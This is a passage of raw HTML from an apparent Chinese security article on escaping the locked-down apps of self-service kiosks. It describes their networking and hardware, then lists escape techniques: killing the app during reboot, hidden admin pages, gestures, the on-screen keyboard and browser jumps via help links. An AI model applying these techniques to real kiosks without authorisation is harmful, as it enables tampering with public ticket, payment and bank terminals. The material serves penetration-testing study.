sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">02</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 网络通信</span></span></strong></span></p><p><br style="white-space: normal;"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">对于自助终端设备来说，网络通信的实现有三种方式：</span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">3G/4G移动网络</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">WiFi无线网络</span></p></li><li><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">有线以太网</span></p></li></ul><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">对于一些特定场所、具体实施、具有布线规划要求的自助终端设备，比如机场车站的售取票机、政府医院银行的自助设备，一般都是使用网线进行连接，也不排除会有无线网络接入的情况。其网络连接情况一般为内网地址。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.1007067137809188" data-s="300,640" style="" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=5cf30a24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUeAb0ZbN5NOodSUkS1bJBl86mzgd9PLLQ5h6bTI7eaNEBicIp1oibqSBQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">绝大多数的自助售卖机由于场所的限制，<strong>使用的是4G移动网络</strong>，这样也就局限了所使用的操作系统即为Android。<strong>有的自助终端会使用4G移动网络生成热点，然后再进行连接热点的方式进行通信</strong>。对于这种服务终端而言，它们都会与互联网进行通信，直接与外网进行数据传输。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">这里对自助终端设备的消费模式稍微展开讲一下：</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">我们常见的水卡、电卡、饭卡等充值消费终端为<strong>IC卡感应</strong>，使用时不需要接入互联网，但是终端设备在进行结算时还是需要互联网的，所以有些终端<strong>短暂断网是可以工作的</strong>。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">有些自助终端设备是<strong>通</strong><strong>过授权码进行消费或服务的</strong>，用户通过APP或者小程序进行支付，然后获取终端设备的授权码进行输入，获取相关服务，比如快递柜取件码。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">目前自助售卖机最常见的为<strong>支付宝/微信扫码支付</strong>，有的会支持人脸识别。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8283828382838284" data-s="300,640" style="" data-type="png" data-w="1212" src="https://wechat2rss.xlab.app/img-proxy/?k=15a9ef5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUEtfCjGnwtic37HFPFicI3RRCQqPlXoyM7qibfu40ReqlIticXRGkmicjicDw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">目前的自助售货终端在后台都会有一套自动售货管理系统，一般具有远程管理、查看机器状态、报警故障、实时监控信息、获取到详细的销售数据、更新屏幕广告内容、制定各种促销活动等功能。通过云平台管理服务还可实现多种收款方案、进行提现等。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.48228043143297383" data-s="300,640" style="" data-type="png" data-w="1298" src="https://wechat2rss.xlab.app/img-proxy/?k=ebbd865e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUeXLSgTtsbwdeekHaaJGKwS5ApvNXjgzcP8BxWSRfrbgAo5uHQR02Hw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">03</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 传感设备组件</span></span></strong></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"><br/></span></span></strong></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">之所以称它们为自助终端设备，当然是少不了<strong>传感设备组件</strong>。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先是实现交互功能的红外线技术触控屏，有的支持单点触控，有的支持多点触控，很容易判断。另外有些自助终端设备还带有物理键盘或者小型的定制键盘，比如常见的ATM机。比较先进的自助终端设备还配有语音识别进行交流等。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">另外自助终端设备组件还有摄像头、麦克风、扬声器、红外传感器、温度/湿度传感器这些比较常规的组件。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">对于特定的设备，比如机场车站的取售票机器会有身份证读取器、学生证IC读卡器，超市自助收银终端会有条码扫描器，高校水卡饭卡电卡等系统会有IC卡读卡器等。具有打印单据、票据、车船票等的终端还会配有专门的打印机封装在整个终端设备中。</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">04</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 逃逸方法</span></span></strong></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"><br/></span></span></strong></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">通过<strong>总结遇到过的自助终端逃逸案例和方法</strong>，现不完全总结为以下<strong>脑图</strong>，仅供参考，<strong>欢迎补充。</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.3953068592057762" data-s="300,640" style="" data-type="png" data-w="1108" src="https://wechat2rss.xlab.app/img-proxy/?k=dab2361f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUFJRJRyJJr4KU4PrxPrcG4YhDgLXCtaib7rBapCrjlJlp1VO7fEmaUeQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">非预期操作</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">通过对自助终端设备进行一些非预期操作，最常见的就是断电重启，当应用程序在启动过程中时，可快速切换系统桌面，打开应用管理器对应用程序强制退出，若有守护进程，一起kill掉即可。另外还可通过频繁点击导致应用崩溃闪退的方法使应用重启。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.5755208333333333" data-s="300,640" style="" data-type="png" data-w="768" src="https://wechat2rss.xlab.app/img-proxy/?k=9a2baf65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBU4fqCQbictlFBHCHumwKFOOd5rwDgau1jTh4uSgprx43sLf9RXcgX6XQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">设备编号/序列号</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">有的自助终端设备在屏幕上会显示设备编号或者序列号等信息，可以尝试多次点击或者长按的方法，有的会有预留管理页面或者显示更过的版本信息或者厂家信息。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5100463678516228" data-s="300,640" style="" data-type="png" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=02637eda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUt5J7QTicib7ZGIg3BcbiaaF7NxJAPCibccIs5icxohOfr3tYzK9stJt9sWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8580246913580247" data-s="300,640" style="" data-type="png" data-w="1296" src="https://wechat2rss.xlab.app/img-proxy/?k=3abfa97f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUTiaaAmDxdH2E5lyF8wBQia3suxUQ5osBhvZzIuzWaZiasDcsicXCde492w%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">触控手势</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">有的设备会使用Windows的平板模式或者Android系统的横屏模式，可以使用一些常见的手势操作，如果没有屏蔽的话，会有意想不到的惊喜。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6947040498442367" data-s="300,640" style="" data-type="png" data-w="1284" src="https://wechat2rss.xlab.app/img-proxy/?k=30e4d3db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUdeXXIeaBRFzFZOich5hS4Bw8dviaxAsxKShYyLEUfWUTAM3wbKGdUYeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.588597842835131" data-s="300,640" style="" data-type="png" data-w="1298" src="https://wechat2rss.xlab.app/img-proxy/?k=aaf93188&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUmibJLwZRMlVKfyTVp1jDytQYpJMS5QUEENW7wDLDwhuniaZzfIMx9HxA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">屏幕键盘</span></strong></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在自助终端设备抛弃实体键盘之后，屏幕键盘却成为了逃逸的一个缺口。Windows系统如果没有关闭屏幕键盘的话会侧边停靠在屏幕边缘，仔细观察就能发现，尝试打开后可以使用各种快捷键进行操作。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.2467771639042358" data-s="300,640" style="" data-type="png" data-w="1086" src="https://wechat2rss.xlab.app/img-proxy/?k=97008afa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBU8oFd6S18ZJrLqvuiafvRdIW1AHu2MVPadicJu7z77vpvaNtjvAJqQichg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5420560747663551" data-s="300,640" style="" data-type="png" data-w="1284" src="https://wechat2rss.xlab.app/img-proxy/?k=368701e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUcQpPL1pTUHHY9HzSR5Kz5vk9jgQAaJVmda8aNP61P9Z5s2pN7eee2w%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">跳转</span></strong></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">当屏幕闪烁或者加载时，一般情况下是发生了当前主应用去调用子应用的情况，比如某饮料贩卖机使用人脸支付时，会后台拉起一个独立安装的人脸识别APP，如此可能会显示菜单栏等，抓住机会可跳出应用。<br/>在应用内的“查看帮助”、“关于”、“更多”等需要我们格外注意，这种一般为URL链接，点击后可能会调起浏览器，从而跳出应用。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9044585987261147" data-s="300,640" style="" data-type="png" data-w="1256" src="https://wechat2rss.xlab.app/img-proxy/?k=686b49cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBURG0ia9VpARvFKpicO0v4OryovVjACOic9BgfwUyD64lIZdia4QSpIeoMNA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">双击/长按调出右键菜单</span></strong><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在有些Windows系统的自助终端设备，没有屏蔽掉右键菜单的情况下，可以通过全选等操作，唤起右键菜单，从而能获取更多的操作选项，比如打印、属性、设置等。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.3664459161147904" data-s="300,640" style="" data-type="png" data-w="906" src="https://wechat2rss.xlab.app/img-proxy/?k=53c2e583&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYSmd9zQ5Lt7Ml5AEDQsyBUulG6xH8yjiae3UxibuVtSuYyueclnicyykFmS4dI77k6tZBiaqM922mN8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong style="font-family: Calibri, sans-serif;font-size: 14px;caret-color: rgb(0, 0, 0);"><span style="font-size: 18px;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;"><span data-raw-text="0" data-textnode-index="0" data-index="0" class="character">0</span><span data-raw-text="x" data-textnode-index="0" data-index="1" class="character">x</span><span data-raw-text="0" data-textnode-index="0" data-index="2" class="character">05</span><span data-raw-text=" " data-textnode-index="0" data-index="4" class="character"> 